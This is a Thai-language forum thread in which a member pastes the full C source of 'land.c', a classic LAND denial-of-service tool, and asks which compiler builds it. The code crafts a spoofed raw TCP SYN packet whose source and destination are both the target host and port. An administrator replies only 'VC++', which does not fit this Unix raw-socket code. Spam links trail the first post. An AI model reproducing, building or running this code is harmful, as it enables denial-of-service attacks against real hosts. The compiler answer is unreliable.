Results 1 to 2 of 2

Thread: Code ตัวนี้ต้องใช้โปแกรมอะไรคอมไพล์ครับช่วยตอบด้วยครับ

  1. #1
    Junior Member
    Join Date
    Jul 2007
    Posts
    10


    อยากทราบว่าต้องใช้โปแกรมอะไรคอมไพล์ครับใครรู้ช่วยตอบหน่อยครับ
    #include <stdio.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/ip_tcp.h>
    #include <netinet/protocols.h>

    struct pseudohdr
    {
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;
    u_char protocol;
    u_short length;
    struct tcphdr tcpheader;
    };

    u_short checksum(u_short * data,u_short length)
    {
    register long value;
    u_short i;

    for(i=0;i<(length>>1);i++)
    value+=data[i];

    if((length&1)==1)
    value+=(data[i]<<8);

    value=(value&65535)+(value>>16);

    return(~value);
    }

    int main(int argc,char * * argv)
    {
    struct sockaddr_in sin;
    struct hostent * hoste;
    int sock;
    char buffer[40];
    struct iphdr * ipheader=(struct iphdr *) buffer;
    struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
    struct pseudohdr pseudoheader;

    fprintf(stderr,"land.c by m3lt, FLC\n");

    if(argc<3)
    {
    fprintf(stderr,"usage: %s IP port\n",argv[0]);
    return(-1);
    }

    bzero(&sin,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;

    if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
    else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
    fprintf(stderr,"unknown host %s\n",argv[1]);
    return(-1);
    }

    if((sin.sin_port=htons(atoi(argv[2])))==0)
    {
    fprintf(stderr,"unknown port %s\n",argv[2]);
    return(-1);
    }

    if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
    {
    fprintf(stderr,"couldn&#39;t allocate raw socket\n");
    return(-1);
    }

    bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->version=4;
    ipheader->ihl=sizeof(struct iphdr)/4;
    ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->id=htons(0xF1C);
    ipheader->ttl=255;
    ipheader->protocol=IP_TCP;
    ipheader->saddr=sin.sin_addr.s_addr;
    ipheader->daddr=sin.sin_addr.s_addr;

    tcpheader->th_sport=sin.sin_port;
    tcpheader->th_dport=sin.sin_port;
    tcpheader->th_seq=htonl(0xF1C);
    tcpheader->th_flags=TH_SYN;
    tcpheader->th_off=sizeof(struct tcphdr)/4;
    tcpheader->th_win=htons(2048);

    bzero(&pseudoheader,12+sizeof(struct tcphdr));
    pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.protocol=6;
    pseudoheader.length=htons(sizeof(struct tcphdr));
    bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
    tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

    if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
    {
    fprintf(stderr,"couldn&#39;t send packet\n");
    return(-1);
    }

    fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

    close(sock);
    return(0);
    }
    [url="http://Smartnet.Flixya.com"]Music Video[/url]

    [url="http://Smartnet.Flixya.com"]http://Smartnet.Flixya.com[/url]

    [url="http://law.myokhost.com"]Law Article[/url]

    [url="http://Law.Myokhost.com"]http://Law.Myokhost.com[/url]

  2. #2
    Administrator asylu3's Avatar
    Join Date
    Jun 2000
    Location
    Thailand
    Posts
    3,557


    VC++
    ถ้าไม่รู้ว่ามันคืออะไร Google ครับ

Similar Threads

  1. VB Code Always on top
    By CkW in forum แนะความรู้ด้าน Programming ต่างๆ
    Replies: 1
    Last Post: 17-11-2009, 09:59 PM
  2. Inventory System Made In VB - Access With Code code
    By stepno01 in forum Visual Basic
    Replies: 0
    Last Post: 01-05-2009, 07:06 PM
  3. [E-BooK] Clean Code - มาทำ code ให้เรียบร้อยกันดีกว่า
    By singha.osot in forum E-Book, Video หรือบทความทั่วไปด้าน Computer
    Replies: 0
    Last Post: 07-12-2008, 07:35 PM
  4. Replies: 1
    Last Post: 09-02-2008, 12:26 AM
  5. Code หา image จาก code html มาฝาก
    By sut in forum PHP,ASP,Javascript, Html
    Replies: 1
    Last Post: 02-06-2007, 07:10 PM

Members who have read this thread : 0

Actions : (View-Readers)

There are no names to display.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •